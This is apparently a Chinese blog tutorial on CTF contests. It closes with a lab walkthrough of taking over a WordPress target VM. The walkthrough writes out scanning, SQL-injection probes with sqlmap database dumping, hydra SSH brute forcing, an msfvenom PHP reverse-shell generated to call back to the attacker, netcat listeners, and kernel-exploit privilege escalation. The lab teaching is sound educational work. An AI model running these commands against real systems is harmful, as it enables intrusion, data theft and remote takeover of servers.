本文是对入门学习的一些概念了解和一些常规场景记录
1.CTF(capture the flag)是夺旗赛的意思。
是网络安全技术人员之间进行攻防的比赛。
起源1996年DEFCON全球黑客大会,替代之前真实攻击的技术比拼。
(DEFCON极客大会诞生1993,每年7月在拉斯维加斯举行)
有黑客比赛的世界杯的说法。
CTF竞赛已成为安全圈最流行竞赛模式。
国际知名赛事
DEFCON CTF:CTF赛事中的“世界杯”
UCSB iCTF:来自UCSB的面向世界高校的CTF
Plaid CTF:包揽多项赛事冠军的CMU的PPP团队举办的在线解题赛
Boston Key Party:近年来崛起的在线解题赛
Codegate CTF:韩国首尔“大奖赛”,冠军奖金3000万韩元
Secuinside CTF:韩国首尔“大奖赛”,冠军奖金3000万韩元
XXC3 CTF:欧洲历史最悠久CCC黑客大会举办的CTF
国内知名赛事
XCTF联赛:是国内最权威、最高技术水平与最大影响力的网络安全CTF赛事平台。
(国内,亚洲最大竞赛。清华蓝莲花战队发起)
强网杯:国家级安全比赛,网信办网络安全协调局指导。
红帽杯:广东公安厅,计算机网络安全协会举办
AliCTF:阿里
TCTF:腾讯
BCTF:百度
WCTF:世界大赛邀请制,360
HCTF:杭州电子科技大学信息安全协会
ISCC:全国大学生,北理工
2.竞赛模式:
1.解题模式(jeopardy风险,危险)
通常是线上参与,网络安全技术的题目。
题目包含:逆向,漏洞挖掘和利用,web渗透,密码,取证,隐写,安全编程等类型。
2.攻防模式(attack&defense)
互相攻击防守,挖掘漏洞攻击和修复漏洞防守。
3.混杂模式(mix)
解题和攻防模式结合,典型赛事iCTF。
3.题目类型
3.1.reverse(逆向)
涉及逆向分析能力:软件逆向,破解技术,反汇编和反编译技术。
知识:汇编语言,加解密,反编译工具等。
3.2.Pwn(破解)
pwn发音砰,破解的意思,主要溢出漏洞(堆和栈溢出等)。
涉及对二进制漏洞挖掘和利用能力。
知识:c/c++,OD+IDA,数据结构,操作系统,汇编原理。
(CE(CheatEngine)用来定位数据,OD(ollydbg)用来动态调试,IDA(Interactive Disassembler)用来看代码)
3.3.web(web安全)
web站点漏洞挖掘和利用:XSS,文件包含,代码执行,上传漏洞,sql注入等。
以及数据包的构造和响应,tcp/ip协议。
知识:PHP,JSP, JAVA, Python,TCP/IP,SQL,OWASP TOP 10
3.4.crypto(加解密)
涉及密码学相关技术,加解密技术,编码解码技术。
知识:数论,矩阵,密码学。
3.5.misc(杂项)
安全相关:信息收集,隐写,流量分析,数字取证,编码转换。
知识:隐写术,wireshark流量分析审查等工具使用,编码。
3.6.mobile(移动)
涉及APP漏洞挖掘和利用:iPhone和Android系统,以Android的apk破解为主。
知识:Android
4.学习建议:
可以刷题或者靶机练习,以web安全作为学习入口是不错选择。
XCTF(攻防世界)
Bugku CTF
Jarvis OJ
ctf.show
BUUCTF
CTFHub
词汇简介:POC,EXP,CVE,CVSS
POC(Proof of Concept)
漏洞证明,漏洞报告中,通过一段描述或一个样例来证明漏洞确实存在
EXP(Exploit)
漏洞利用,某个漏洞存在EXP,意思就是该漏洞存在公开的利用方式(比如一个脚本)
0DAY
含义是刚刚被发现,还没有被公开的漏洞,也没有相应的补丁程序,威胁极大。
CVE(Common Vulnerabilities & Exposures)
公共漏洞和暴露,信息安全漏洞公共的名称。
使用一个共同的名字,可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题 。
5.靶机实战:拿下wordpress提权
测试环境:
kali攻击机和WordPress系统的靶机。
WordPress是一款个人博客框架属于内容管理系统(CMS)使用PHP语言和mysql数据库架设。
攻击过程:
信息收集,漏洞挖掘,漏洞利用,权限提升。
5.1.信息收集
包括:主机,ip,端口,服务,操作系统,目录等扫描收集及社工。
1.主机发现工具:arp-scan netdiscover fping等。
arp-scan -l //局域网扫描
netdiscover -i eth0 -r 192.168.133.0/24 //网段扫描
通过mac地址得到厂商。
2.端口扫描工具:nmap
-A:全面探测(aggressive(进攻性)) -sS:SYN扫描(半连接) -sV:显示版本 -v:显示vebose详细过程
-p-:全端口(1-65535) -T4:延迟级别,放弃超时10ms
nmap -sS -sV -v -p- -T4 192.168.12.1
nmap -A ip
nmap -A -sS -sV -v -p- -T4 192.168.12.1
常见端口和服务:
22:ssh 25:smtp 80:http 111:RPCINFO服务 443:HTTPS服务
624:PRC 3306:MYSQL
3.信息收集目标就是威胁建模
(简单来说就是猜测服务可能存在攻击方式和漏洞)
对于web服务主要收集:服务和系统的名称和版本。
可以利用谷歌浏览器Wappalyzer插件收集:系统和服务的版本信息
WordPress版本,操作系统,数据库类型,PHP版本
web地址的参数或者表单验证是否可sql注入,
一般首页是没有参数的,选择注册页或者可传参数的页面
比如xx?id=1
后面加个冒号:xxx?id=1'
后面加 and 1=1 后者and 1=2:id=1 and 1=1 或者id=1 and 1=2
and sleep(5)
根据响应页面的内容对比判断是否存在注入点。
一般使用工具sqlmap更方便
ssh尝试弱口令爆破
工具:九头蛇 美杜莎
4.目录扫描:dirb,dirbuster,gobuster,御剑等工具。nikto。
对于web目录扫描是关键步骤,甚至首步骤。
作用:敏感目录和敏感文件可能泄露(管理页面,遗留文件)。
发现管理后台,数据库管理页面。
5.2.漏洞挖掘
几种方式:
1.对于管理后台尝试:
弱口令(默认密码,常用密码),
暴力破解(工具:burp爆破,PHPmyadmin爆破)。
比如phpmyadmin(数据库网页管理工具的主页)
2.链接的参数注入
工具:sqlmap参数:-u:url --dbs:爆破数据库 -D:指定数据库 --tables:爆破数据表 -T:指定表 --columns:爆破字段 -C:指定字段(可多个) --dump :脱库
sql注入检测:sqlmap -u "http://xxx?id=1"
得到数据库,web服务器,操作系统类型和版本以及具体库
sql注入检测:sqlmap -u "http://xxx?id=1" --dbs
得到哪些库
sqlmap -u "xxx?id=1" --dbs -D xx --tables
得到爆破xx库的表
sqlmap -u "xxx?id=1" --dbs -D xx --tables -T xx --columns
得到爆破的字段
sqlmap -u "xxx?id=1" --dbs -D xx --tables -C xx,xx,xx --dump
得到爆破字段的内容
有时需要cookie(登陆后)才能sqlmap扫描参数:
获取cookie:浏览器开发者网络查看或者控制台(输入document.cookie获取)
sqlmap -u "http://xxx?id=1" -p id --cookie="xxx=xxxxxxxx" --dbs
通过爆破可能得到账号和密码,如果服务支持ssh,可以尝试连接
>ssh xx用户@ipxxxx
>密码xxx
(制作密码字典工具以及破解:crunch ;hydra 。
比如:crunch 8 8 -t admin%%@@ -o dic.txt //8 8:最小8位最大八位 -t:占位符 %数字 @小写字母 -o:输出文件
暴力破解ssh:
hydra -l guest -P dic.txt xx.xx.ip ssh
3.网页前端源码查看
是否只是前端验证。
4.nikto可对web服务器全面漏洞扫描:服务器cgi和项目及配置等
cgi通用网关接口:网页原本是静态的,通过cgi脚本进行处理生成页面返回给浏览器形成动态交互网页,类似servelet。
有时候指服务器,有时候 指cgi语言。
nikto -h http://xxx
得到一些敏感目录和文件,比如源码b备份,sql等
分析源码获得漏洞,获取管理员账号等
拿到网站管理员权限:密码破解获得数据库管理权限以及后台管理员
5.3.漏洞利用
1.利用MSF生成反弹shell(木马)
msfvenom -p php/meterpreter/reverse_tcp LHOST=自己主机ip LPORT=4444 -o Desktop/shell.php
生成php网页木马,让目标连接自己主机
kali自带php马:/usr/share/webshells/php/php-reverse-sell.php
2.上传马
将马页面放到php执行目录,或者写入可执行某个页面。
3.监听原先木马设置端口以建立链接
几种方式:
1)netcat工具:类似工具:中国菜刀
nc -nlvp 4444
2)msf
msf>use exploit/multi/handler
>set playload php/meterpreter_reverse_tcp
>set lhost ip
>exploit
执行后会形成一个会话session,ctr+c可退出,
输入:session 1进入会话:
meterpreter>
linux查看监听:netstat -tunlp
4.得到shell
访问马页面,监听程序得到反弹shell.
此时这个shell是web服务器的权限也就是Apache服务器权限。
whoami ;查看当前权限
uname -a : 查看linux系统内核版本
如果使用msf监听那么执行exploit,连接建立后会得到shell
meterpreter>
输入:sysinfo 查看系统版本信息,
输入:shell 生成交互shell
还可以切换不同样式的shell:交互更友好:
python -c 'import pty;pty.spawn("/bin/bash")'
(common shell和 meterpreter shell区分
有些连接得到是common shell 使用ctr+z
然后:y 让当前shell隐藏回到msf界面,
使用session -l :查看所有会话shell,每个会话有个id。
session -u 某id:将某会话从common变成meterpreter
session -i 某id :进入某id会话
)
5.权限提升,获取root权限
1).漏洞脏牛(dirty cow,CVE-2016-5195)对Linux内核>=2.6.22版本(2007年发布)本地提权,直到2016.10才修复。
原理:内核的内存子系统在处理写入复制时(copy-on-write)产生了竞争条件,利用执行顺序异常,对只读内存映射进行写入,获得root权限。
github官方提供exp
2).漏洞udev(cve2009-1185 linux2.6的一个提权漏洞)
searchsploit linux udev (漏洞库搜索udev漏洞的exp)
/usr/share/exploitdb/platforms/linux/local/8478.sh
exp在靶机执行需要先获取执行文件,还的添加执行权限。
提供一个传送地址的几种方式:
1).sh放在/tmp下,并执行:python -m SimpleHTTPServer 80
目标主机获取:wget http://xx/xx.sh
查看进程:cat /proc/net/netlink
在特定进程执行udev
思路:知道漏洞,找到漏洞exp。
补充:低权限rbash提升(绕过)
当用guest用户登陆系统:ssh gust@xx.xx.xx.ip
得到的shell可能权限非常低很多命令不能使用
当前是rbash解析命令:
echo $PATH:查看当前path。
输出:/home/guest/prog
输入命令会先到path目录下查找,存在才会直接执行,否则需要输入全路径才行执行。
echo $PATH/*:查看可以直接执行的命令
输出:/home/guest/prog/vi
即表面可以直接执行vi。
进入vi:
:!/bin/bash //!在命令前面表示调用外部命令,在命令后面(wq!)表示强制执行。
执行后命令使用bash来解析。
(sudo以管理员运行,su切换用户,sudo su 切换到管理员)
执行sudo su 显示找不到命令sudo
某目录查找命令:
ls -la /bin/sudo
ls -la /sbin/sudo
ls -la /usr/bin/sudo //确定sudo位置
修改环境变量:
export PATH=$PATH:/usr/bin/sudo
查看当前path:
echo $paht
查找将su命令路径添加到环境:
ls -la /bin/su //确认位置
修改path:
export PATH=$PATH:/bin/su
接下可以执行:sudo su(需要有密码)
5.4.如何防御:
登录后复制
1.关闭多余端口,最小原则。
2.使用cms等系统,修改默认后台路径。
3.数据管理PHPmyadmin修改默认路径和密码。
4.升级操作系统版本,及时打补丁修复漏洞。
5.关注最新漏洞情报,提升安全运维响应能力。
网络安全学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
需要网络安全学习路线和视频教程的可以在评论区留言哦~
最后
- 如果你确实想自学的话,我可以把我自己整理收藏的这些教程分享给你,里面不仅有web安全,还有渗透测试等等内容,包含电子书、面试题、pdf文档、视频以及相关的课件笔记,我都已经学过了,都可以免费分享给大家!
给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。
黑客工具&SRC技术文档&PDF书籍&web安全等(可分享)
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失